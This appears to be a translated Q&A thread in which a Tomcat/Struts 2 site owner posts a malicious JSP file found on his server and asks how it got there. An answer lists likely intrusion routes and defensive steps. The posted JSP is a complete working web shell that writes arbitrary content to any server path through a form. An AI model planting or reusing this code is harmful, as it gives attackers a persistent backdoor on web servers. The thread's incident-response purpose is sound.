为什么在服务器上上传的未知文件出现?

时间:2013-11-27 20:30:58

标签: java security jsp web

我有一个由Tomcat 7.0.42提供服务的Struts 2 Web应用程序。我最近找到了我无法上传的文件。这里我展示一个例子

<%@ page language="java" pageEncoding="gbk"%>
<jsp:directive.page import="java.io.File"/>
<jsp:directive.page import="java.io.OutputStream"/>
<jsp:directive.page import="java.io.FileOutputStream"/>
<% int i=0;String method=request.getParameter("act");
if(method!=null&&method.equals("yoco")){
String url=request.getParameter("url");
String text=request.getParameter("smart");
File f=new File(url);
if(f.exists()){
f.delete();
}
try{
OutputStream o=new FileOutputStream(f);
o.write(text.getBytes());
o.close();
}catch(Exception e){
i++;
%>0<%
}
}
if(i==0){
%>1<%}
%>
<form action='?act=yoco' method='post'>
<input size="100" value="<%=application.getRealPath("/") %>" name="url">
<br>
<textarea rows="20" cols="80" name="smart">

这是一个用于在我的服务器上写文件的小JSP。几天前他们可以访问shell,并且由于某种DDoS攻击,所有服务器都崩溃了。

我真的想知道他们如何在我的服务器上写文件。我有一些表单与用户交互,但所有字段都是正则表达式限制,我使用预准备语句来打我的数据库。你可以看一下,如果你想看到问题&#34;在行动&#34; (link

非常感谢任何帮助。谢谢!

1 个答案:

答案 0 :(得分:0)

显然,这是一些恶意用户/黑客上传的后门。

为什么该文件可能会因为以下原因而结束:

  • 黑客可以访问您的FTP / SSH(尝试更改用户)
  • 如果您有一些“公共上传文件”功能,则可能容易让用户上传他们想要的内容。
  • 您的系统中有一些远​​程代码执行。
  • SQL注入漏洞,他们能够从您的数据库中检索密码,以访问某些管理面板,这些面板使他们有权上传文件,或者根据数据库和数据库用户权限,他们甚至可以使用查询编写文件

我的建议:

  • 更新您的软件(框架,CMS,WebServer,操作系统,API等)。
  • 如果您拥有专有代码,请对其进行一些听觉检索并搜索漏洞。
祝你好运!